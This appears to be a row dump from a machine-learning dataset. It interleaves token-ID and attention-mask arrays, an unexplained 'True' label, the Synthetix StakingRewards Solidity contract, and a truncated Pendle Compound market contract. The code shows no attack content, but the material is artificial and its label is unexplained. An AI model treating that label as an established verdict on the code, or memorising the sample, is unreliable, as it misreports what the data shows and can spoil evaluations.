1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
/*
____ __ __ __ _
/ __/__ __ ___ / /_ / / ___ / /_ (_)__ __
_\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ /
/___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\
/___/
* Synthetix: StakingRewards.sol
*
* Latest source (may be newer): https://github.com/Synthetixio/synthetix/blob/master/contracts/StakingRewards.sol
* Docs: https://docs.synthetix.io/contracts/StakingRewards
*
* Contract Dependencies:
* - IERC20
* - IStakingRewards
* - Owned
* - Pausable
* - ReentrancyGuard
* - RewardsDistributionRecipient
* Libraries:
* - Address
* - SafeERC20
* - SafeMath
*
* MIT License
* ===========
*
* Copyright (c) 2022 Synthetix
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* > Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an `Approval` event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Optional functions from the ERC20 standard.
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* > Note that this information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* `IERC20.balanceOf` and `IERC20.transfer`.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
/**
* @dev Collection of functions related to the address type,
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* > It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the `nonReentrant` modifier
* available, which can be aplied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*/
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
// https://docs.synthetix.io/contracts/source/interfaces/istakingrewards
interface IStakingRewards {
// Views
function balanceOf(address account) external view returns (uint256);
function earned(address account) external view returns (uint256);
function getRewardForDuration() external view returns (uint256);
function lastTimeRewardApplicable() external view returns (uint256);
function rewardPerToken() external view returns (uint256);
function rewardsDistribution() external view returns (address);
function rewardsToken() external view returns (address);
function totalSupply() external view returns (uint256);
// Mutative
function exit() external;
function getReward() external;
function stake(uint256 amount) external;
function withdraw(uint256 amount) external;
}
// https://docs.synthetix.io/contracts/source/contracts/owned
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner) public {
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner) external onlyOwner {
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership() external {
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner {
_onlyOwner();
_;
}
function _onlyOwner() private view {
require(msg.sender == owner, "Only the contract owner may perform this action");
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
// Inheritance
// https://docs.synthetix.io/contracts/source/contracts/rewardsdistributionrecipient
contract RewardsDistributionRecipient is Owned {
address public rewardsDistribution;
function notifyRewardAmount(uint256 reward) external;
modifier onlyRewardsDistribution() {
require(msg.sender == rewardsDistribution, "Caller is not RewardsDistribution contract");
_;
}
function setRewardsDistribution(address _rewardsDistribution) external onlyOwner {
rewardsDistribution = _rewardsDistribution;
}
}
// Inheritance
// https://docs.synthetix.io/contracts/source/contracts/pausable
contract Pausable is Owned {
uint public lastPauseTime;
bool public paused;
constructor() internal {
// This contract is abstract, and thus cannot be instantiated directly
require(owner != address(0), "Owner must be set");
// Paused will be false, and lastPauseTime will be 0 upon initialisation
}
/**
* @notice Change the paused state of the contract
* @dev Only the contract owner may call this.
*/
function setPaused(bool _paused) external onlyOwner {
// Ensure we're actually changing the state before we do anything
if (_paused == paused) {
return;
}
// Set our paused state.
paused = _paused;
// If applicable, set the last pause time.
if (paused) {
lastPauseTime = now;
}
// Let everyone know that our pause state has changed.
emit PauseChanged(paused);
}
event PauseChanged(bool isPaused);
modifier notPaused {
require(!paused, "This action cannot be performed while the contract is paused");
_;
}
}
// Inheritance
// https://docs.synthetix.io/contracts/source/contracts/stakingrewards
contract StakingRewards is IStakingRewards, RewardsDistributionRecipient, ReentrancyGuard, Pausable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
/* ========== STATE VARIABLES ========== */
IERC20 public rewardsToken;
IERC20 public stakingToken;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public rewardsDuration = 7 days;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
/* ========== CONSTRUCTOR ========== */
constructor(
address _owner,
address _rewardsDistribution,
address _rewardsToken,
address _stakingToken
) public Owned(_owner) {
rewardsToken = IERC20(_rewardsToken);
stakingToken = IERC20(_stakingToken);
rewardsDistribution = _rewardsDistribution;
}
/* ========== VIEWS ========== */
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function lastTimeRewardApplicable() public view returns (uint256) {
return block.timestamp < periodFinish ? block.timestamp : periodFinish;
}
function rewardPerToken() public view returns (uint256) {
if (_totalSupply == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(
lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply)
);
}
function earned(address account) public view returns (uint256) {
return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]);
}
function getRewardForDuration() external view returns (uint256) {
return rewardRate.mul(rewardsDuration);
}
/* ========== MUTATIVE FUNCTIONS ========== */
function stake(uint256 amount) external nonReentrant notPaused updateReward(msg.sender) {
require(amount > 0, "Cannot stake 0");
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
stakingToken.safeTransferFrom(msg.sender, address(this), amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public nonReentrant updateReward(msg.sender) {
require(amount > 0, "Cannot withdraw 0");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
stakingToken.safeTransfer(msg.sender, amount);
emit Withdrawn(msg.sender, amount);
}
function getReward() public nonReentrant updateReward(msg.sender) {
uint256 reward = rewards[msg.sender];
if (reward > 0) {
rewards[msg.sender] = 0;
rewardsToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function exit() external {
withdraw(_balances[msg.sender]);
getReward();
}
/* ========== RESTRICTED FUNCTIONS ========== */
function notifyRewardAmount(uint256 reward) external onlyRewardsDistribution updateReward(address(0)) {
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(rewardsDuration);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(rewardsDuration);
}
// Ensure the provided reward amount is not more than the balance in the contract.
// This keeps the reward rate in the right range, preventing overflows due to
// very high values of rewardRate in the earned and rewardsPerToken functions;
// Reward + leftover must be less than 2^256 / 10^18 to avoid overflow.
uint balance = rewardsToken.balanceOf(address(this));
require(rewardRate <= balance.div(rewardsDuration), "Provided reward too high");
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(rewardsDuration);
emit RewardAdded(reward);
}
// Added to support recovering LP Rewards from other systems such as BAL to be distributed to holders
function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner {
require(tokenAddress != address(stakingToken), "Cannot withdraw the staking token");
IERC20(tokenAddress).safeTransfer(owner, tokenAmount);
emit Recovered(tokenAddress, tokenAmount);
}
function setRewardsDuration(uint256 _rewardsDuration) external onlyOwner {
require(
block.timestamp > periodFinish,
"Previous rewards period must be complete before changing the duration for the new period"
);
rewardsDuration = _rewardsDuration;
emit RewardsDurationUpdated(rewardsDuration);
}
/* ========== MODIFIERS ========== */
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
/* ========== EVENTS ========== */
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event RewardsDurationUpdated(uint256 newDuration);
event Recovered(address token, uint256 amount);
} | True | [
101,
1013,
1008,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1013,
1035,
1035,
1013,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1013,
1013,
1035,
1013,
1013,
1035,
1035,
1035,
1013,
1013,
1035,
1006,
1035,
1007,
1035,
1035,
1035,
1035,
1035,
1032,
1032,
1013,
1013,
1013,
1013,
1013,
1035,
1032,
1013,
1035,
1035,
1013,
1013,
1035,
1032,
1013,
1011,
1035,
1007,
1013,
1035,
1035,
1013,
1013,
1013,
1032,
1032,
1013,
1013,
1035,
1035,
1035,
1013,
1032,
1035,
1010,
1013,
1013,
1035,
1013,
1013,
1035,
1013,
1032,
1035,
1035,
1013,
1013,
1035,
1013,
1013,
1035,
1013,
1032,
1035,
1035,
1013,
1032,
1035,
1035,
1013,
1013,
1035,
1013,
1013,
1035,
1032,
1035,
1032,
1013,
1035,
1035,
1035,
1013,
1008,
24203,
20624,
2595,
1024,
2358,
15495,
15603,
18117,
1012,
14017,
1008,
1008,
6745,
3120,
1006,
2089,
2022,
10947,
1007,
1024,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
24203,
20624,
9048,
2080,
1013,
24203,
20624,
2595,
1013,
1038,
4135,
2497,
1013,
3040,
1013,
8311,
1013,
2358,
15495,
15603,
18117,
1012,
14017,
1008,
9986,
2015,
1024,
16770,
1024,
1013,
1013,
9986,
2015,
1012,
24203,
20624,
2595,
1012,
22834,
1013,
8311,
1013,
2358,
15495,
15603,
18117,
1008,
1008,
3206,
12530,
15266,
1024,
1008,
1011,
29464,
11890,
11387,
1008,
1011,
21541,
15495,
15603,
18117,
1008,
1011,
3079,
1008,
1011,
29025,
19150,
1008,
1011,
2128,
4765,
5521,
5666,
18405,
1008,
1011,
19054,
10521,
18886,
29446,
2890,
6895,
14756,
3372,
1008,
8860,
1024,
1008,
1011,
4769,
1008,
1011,
3647,
2121,
2278,
11387,
1008,
1011,
3647,
18900,
2232,
1008,
1008,
10210,
6105,
1008,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1008,
1008,
9385,
1006,
1039,
1007,
16798,
2475,
24203,
20624,
2595,
1008,
1008,
6656,
2003,
2182,
3762,
4379,
1010,
2489,
1997,
3715,
1010,
2000,
2151,
2711,
11381,
1037,
6100,
1008,
1997,
2023,
4007,
1998,
3378,
12653,
6764,
1006,
1996,
1000,
4007,
1000,
1007,
1010,
2000,
3066,
1008,
1999,
1996,
4007,
2302,
16840,
1010,
2164,
2302,
22718,
1996,
2916,
1008,
2000,
2224,
1010,
6100,
1010,
19933,
1010,
13590,
1010,
10172,
1010,
16062,
1010,
4942,
13231,
12325,
1010,
1998,
1013,
2030,
5271,
1008,
4809,
1997,
1996,
4007,
1010,
1998,
2000,
9146,
5381,
2000,
3183,
1996,
4007,
2003,
1008,
19851,
2000,
2079,
2061,
1010,
3395,
2000,
1996,
2206,
3785,
1024,
1008,
1008,
1996,
2682,
9385,
5060,
1998,
2023,
6656,
5060,
4618,
2022,
2443,
1999,
2035,
1008,
4809,
2030,
6937,
8810,
1997,
1996,
4007,
1012,
1008,
1008,
1996,
4007,
2003,
3024,
1000,
2004,
2003,
1000,
1010,
2302,
10943,
2100,
1997,
2151,
2785,
1010,
4671,
2030,
1008,
13339,
1010,
2164,
2021,
2025,
3132,
2000,
1996,
10943,
3111,
1997,
6432,
8010,
1010,
1008,
10516,
2005,
1037,
3327,
3800,
1998,
2512,
2378,
19699,
23496,
3672,
1012,
1999,
2053,
2724,
4618,
1996,
1008,
6048,
2030,
9385,
13304,
2022,
20090,
2005,
2151,
4366,
1010,
12394,
2030,
2060,
1008,
14000,
1010,
3251,
1999,
2019,
2895,
1997,
3206,
1010,
17153,
2102,
2030,
4728,
1010,
17707,
2013,
1010,
1008,
2041,
1997,
2030,
1999,
4434,
2007,
1996,
4007,
2030,
1996,
2224,
2030,
2060,
24069,
1999,
1996,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
pragma abicoder v2;
import "../../interfaces/IPendleCompoundForge.sol";
import "./../abstract/PendleMarketBase.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
contract PendleCompoundMarket is PendleMarketBase {
using Math for uint256;
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint256 private globalLastExchangeRate;
constructor(
address _governanceManager,
address _xyt,
address _token
) PendleMarketBase(_governanceManager, _xyt, _token) {}
function _getExchangeRate() internal returns (uint256) {
return IPendleCompoundForge(forge).getExchangeRate(underlyingAsset);
}
function _afterBootstrap() internal override {
paramL = 1;
globalLastExchangeRate = _getExchangeRate();
}
/// @inheritdoc PendleMarketBase
/*
* Please refer to AaveMarket's _updateDueInterests to better understand this function
* The key difference between Aave & Compound is in Compound there is no compound effect for locked in asset
I.e: Only when the user use the cToken to redeem the underlyingAsset that he will enjoy the
compound effect
*/
function _updateDueInterests(address user) internal override {
// before calc the interest for users, updateParamL
_updateParamL();
uint256 _paramL = paramL;
uint256 userLastParamL = lastParamL[user];
if (userLastParamL == 0) {
lastParamL[user] = _paramL;
return;
}
uint256 principal = balanceOf(user);
uint256 interestValuePerLP = _paramL.sub(userLastParamL);
uint256 interestFromLp = principal.mul(interestValuePerLP).div(MULTIPLIER);
dueInterests[user] = dueInterests[user].add(interestFromLp);
lastParamL[user] = _paramL;
}
/// @inheritdoc PendleMarketBase
// Please refer to AaveMarket's _getFirstTermAndParamR to better understand this function
function _getFirstTermAndParamR(uint256 currentNYield)
internal
override
returns (uint256 firstTerm, uint256 paramR)
{
firstTerm = paramL;
paramR = currentNYield.sub(lastNYield);
globalLastExchangeRate = _getExchangeRate();
}
/// @inheritdoc PendleMarketBase
function _getIncomeIndexIncreaseRate() internal override returns (uint256 increaseRate) {
return _getExchangeRate().rdiv(globalLastExchangeRate).sub(Math.RONE);
}
}
// SPDX-License-Identifier: MIT
/*
* MIT License
* ===========
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
